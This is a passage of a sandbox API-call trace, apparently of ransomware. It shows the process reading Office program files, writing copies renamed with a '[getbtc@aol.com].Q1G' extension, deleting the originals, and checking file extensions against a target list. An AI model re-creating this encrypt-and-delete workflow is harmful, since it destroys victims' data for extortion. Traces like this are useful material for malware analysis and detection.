(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam")) returned 0x20 [0259.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0259.937] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.940] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.986] GetLastError () returned 0x0 [0259.989] ReadFile (in: hFile=0x3a0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xf978, lpOverlapped=0x0) returned 1 [0260.565] WriteFile (in: hFile=0x3a8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf980, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf980, lpOverlapped=0x0) returned 1 [0260.825] ReadFile (in: hFile=0x3a0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.825] WriteFile (in: hFile=0x3a8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0260.825] SetEndOfFile (hFile=0x3a8) returned 1 [0260.826] CloseHandle (hObject=0x3a8) returned 1 [0260.826] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.826] SetEndOfFile (hFile=0x3a0) returned 1 [0261.141] CloseHandle (hObject=0x3a0) returned 1 [0261.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam")) returned 1 [0261.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0261.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0261.290] lstrlenW (lpString=".doc") returned 4 [0261.290] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0261.290] lstrlenW (lpString=".docx") returned 5 [0261.290] lstrcmpiW (lpString1=".docx", lpString2="B.SAM") returned -1 [0261.290] lstrlenW (lpString=".pdf") returned 4 [0261.290] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0261.290] lstrlenW (lpString=".xls") returned 4 [0261.290] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0261.290] lstrlenW (lpString=".xlsx") returned 5 [0261.290] lstrcmpiW (lpString1=".xlsx", lpString2="B.SAM") returned -1 [0261.290] lstrlenW (lpString=".ppt") returned 4 [0261.290] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0261.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0261.291] lstrlenW (lpString=".zip") returned 4 [0261.291] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0261.291] lstrlenW (lpString=".rar") returned 4 [0261.291] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0261.291] lstrlenW (lpString=".bz2") returned 4 [0261.291] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0261.291] lstrlenW (lpString=".7z") returned 3 [0261.291] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0261.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0261.291] lstrlenW (lpString=".dbf") returned 4 [0261.291] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0261.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0261.291] lstrlenW (lpString=".1cd") returned 4 [0261.291] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0261.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0261.291] lstrlenW (lpString=".jpg") returned 4 [0261.291] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0261.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0261.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0261.291] lstrlenW (lpString=".doc") returned 4 [0261.291] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0261.291] lstrlenW (lpString=".docx") returned 5 [0261.291] lstrcmpiW (lpString1=".docx", lpString2="B.SAM") returned -1 [0261.291] lstrlenW (lpString=".pdf") returned 4 [0261.291] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0261.291] lstrlenW (lpString=".xls") returned 4 [0261.291] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0261.291] lstrlenW (lpString=".xlsx") returned 5 [0261.291] lstrcmpiW (lpString1=".xlsx", lpString2="B.SAM") returned -1 [0261.291] lstrlenW (lpString=".ppt") returned 4 [0261.291] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0261.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0261.291] lstrlenW (lpString=".zip") returned 4 [0261.292] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0261.292] lstrlenW (lpString=".rar") returned 4 [0261.292] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0261.292] lstrlenW (lpString=".bz2") returned 4 [0261.292] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0261.292] lstrlenW (lpString=".7z") returned 3 [0261.292] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0261.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0261.292] lstrlenW (lpString=".dbf") returned 4 [0261.292] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0261.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0261.292] lstrlenW (lpString=".1cd") returned 4 [0261.292] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0261.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58 [0261.292] lstrlenW (lpString=".jpg") returned 4 [0261.292] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0261.292] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0261.292] lstrlenW (lpString="EntityDataHandler.dll") returned 21 [0261.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.293] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=62336) returned 1 [0261.293] CloseHandle (hObject=0x39c) returned 1 [0261.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll")) returned 0x20 [0261.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0261.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0261.294] lstrlenW (lpString=".doc") returned 4 [0261.294] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0261.294] lstrlenW (lpString=".docx") returned 5 [0261.294] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0261.294] lstrlenW (lpString=".pdf") returned 4 [0261.294] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0261.294] lstrlenW (lpString=".xls") returned 4 [0261.294] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0261.294] lstrlenW (lpString=".xlsx") returned 5 [0261.294] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0261.294] lstrlenW (lpString=".ppt") returned 4 [0261.294] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0261.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0261.294] lstrlenW (lpString=".zip") returned 4 [0261.294] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0261.294] lstrlenW (lpString=".rar") returned 4 [0261.294] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0261.294] lstrlenW (lpString=".bz2") returned 4 [0261.294] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0261.294] lstrlenW (lpString=".7z") returned 3 [0261.294] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0261.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0261.294] lstrlenW (lpString=".dbf") returned 4 [0261.294] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0261.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0261.294] lstrlenW (lpString=".1cd") returned 4 [0261.294] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0261.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0261.295] lstrlenW (lpString=".jpg") returned 4 [0261.295] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0261.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0261.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0261.295] lstrlenW (lpString=".doc") returned 4 [0261.295] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0261.295] lstrlenW (lpString=".docx") returned 5 [0261.295] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0261.295] lstrlenW (lpString=".pdf") returned 4 [0261.295] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0261.295] lstrlenW (lpString=".xls") returned 4 [0261.295] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0261.295] lstrlenW (lpString=".xlsx") returned 5 [0261.295] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0261.295] lstrlenW (lpString=".ppt") returned 4 [0261.295] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0261.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0261.295] lstrlenW (lpString=".zip") returned 4 [0261.295] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0261.295] lstrlenW (lpString=".rar") returned 4 [0261.295] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0261.295] lstrlenW (lpString=".bz2") returned 4 [0261.295] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0261.295] lstrlenW (lpString=".7z") returned 3 [0261.295] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0261.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0261.295] lstrlenW (lpString=".dbf") returned 4 [0261.295] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0261.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0261.295] lstrlenW (lpString=".1cd") returned 4 [0261.295] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0261.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll") returned 64 [0261.295] lstrlenW (lpString=".jpg") returned 4 [0261.295] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0261.296] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0261.296] lstrlenW (lpString="EntityPicker.dll") returned 16 [0261.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.296] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=268672) returned 1 [0261.296] CloseHandle (hObject=0x39c) returned 1 [0261.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll")) returned 0x20 [0261.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0261.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0261.297] lstrlenW (lpString=".doc") returned 4 [0261.297] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0261.297] lstrlenW (lpString=".docx") returned 5 [0261.297] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0261.297] lstrlenW (lpString=".pdf") returned 4 [0261.297] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0261.297] lstrlenW (lpString=".xls") returned 4 [0261.297] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0261.297] lstrlenW (lpString=".xlsx") returned 5 [0261.297] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0261.297] lstrlenW (lpString=".ppt") returned 4 [0261.297] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0261.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0261.297] lstrlenW (lpString=".zip") returned 4 [0261.297] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0261.297] lstrlenW (lpString=".rar") returned 4 [0261.297] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0261.297] lstrlenW (lpString=".bz2") returned 4 [0261.297] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0261.297] lstrlenW (lpString=".7z") returned 3 [0261.297] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0261.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0261.297] lstrlenW (lpString=".dbf") returned 4 [0261.297] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0261.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0261.297] lstrlenW (lpString=".1cd") returned 4 [0261.297] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0261.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0261.297] lstrlenW (lpString=".jpg") returned 4 [0261.297] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0261.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0261.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0261.298] lstrlenW (lpString=".doc") returned 4 [0261.298] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0261.298] lstrlenW (lpString=".docx") returned 5 [0261.298] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0261.298] lstrlenW (lpString=".pdf") returned 4 [0261.298] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0261.298] lstrlenW (lpString=".xls") returned 4 [0261.298] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0261.298] lstrlenW (lpString=".xlsx") returned 5 [0261.298] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0261.298] lstrlenW (lpString=".ppt") returned 4 [0261.298] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0261.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0261.298] lstrlenW (lpString=".zip") returned 4 [0261.298] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0261.298] lstrlenW (lpString=".rar") returned 4 [0261.298] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0261.298] lstrlenW (lpString=".bz2") returned 4 [0261.298] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0261.298] lstrlenW (lpString=".7z") returned 3 [0261.298] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0261.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0261.298] lstrlenW (lpString=".dbf") returned 4 [0261.298] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0261.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0261.298] lstrlenW (lpString=".1cd") returned 4 [0261.298] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0261.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll") returned 59 [0261.298] lstrlenW (lpString=".jpg") returned 4 [0261.298] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0261.299] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0261.299] lstrlenW (lpString="ENVELOPE.DLL") returned 12 [0261.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.299] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=219520) returned 1 [0261.299] CloseHandle (hObject=0x39c) returned 1 [0261.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll")) returned 0x20 [0261.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0261.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0261.300] lstrlenW (lpString=".doc") returned 4 [0261.300] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.300] lstrlenW (lpString=".docx") returned 5 [0261.300] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0261.300] lstrlenW (lpString=".pdf") returned 4 [0261.300] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.300] lstrlenW (lpString=".xls") returned 4 [0261.300] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.300] lstrlenW (lpString=".xlsx") returned 5 [0261.300] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0261.300] lstrlenW (lpString=".ppt") returned 4 [0261.300] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0261.300] lstrlenW (lpString=".zip") returned 4 [0261.300] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.300] lstrlenW (lpString=".rar") returned 4 [0261.300] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.300] lstrlenW (lpString=".bz2") returned 4 [0261.300] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.300] lstrlenW (lpString=".7z") returned 3 [0261.300] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0261.300] lstrlenW (lpString=".dbf") returned 4 [0261.300] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0261.300] lstrlenW (lpString=".1cd") returned 4 [0261.300] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0261.300] lstrlenW (lpString=".jpg") returned 4 [0261.300] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0261.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0261.300] lstrlenW (lpString=".doc") returned 4 [0261.301] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.301] lstrlenW (lpString=".docx") returned 5 [0261.301] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0261.301] lstrlenW (lpString=".pdf") returned 4 [0261.301] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.301] lstrlenW (lpString=".xls") returned 4 [0261.301] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.301] lstrlenW (lpString=".xlsx") returned 5 [0261.301] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0261.301] lstrlenW (lpString=".ppt") returned 4 [0261.301] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0261.301] lstrlenW (lpString=".zip") returned 4 [0261.301] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.301] lstrlenW (lpString=".rar") returned 4 [0261.301] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.301] lstrlenW (lpString=".bz2") returned 4 [0261.301] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.301] lstrlenW (lpString=".7z") returned 3 [0261.301] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0261.301] lstrlenW (lpString=".dbf") returned 4 [0261.301] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0261.301] lstrlenW (lpString=".1cd") returned 4 [0261.301] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL") returned 55 [0261.301] lstrlenW (lpString=".jpg") returned 4 [0261.301] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.301] lstrcmpiW (lpString1=".ADD", lpString2=".Q1G") returned -1 [0261.301] lstrlenW (lpString="ERXIMP.ADD") returned 10 [0261.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.302] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=85920) returned 1 [0261.302] CloseHandle (hObject=0x39c) returned 1 [0261.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add")) returned 0x20 [0261.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.302] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.302] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 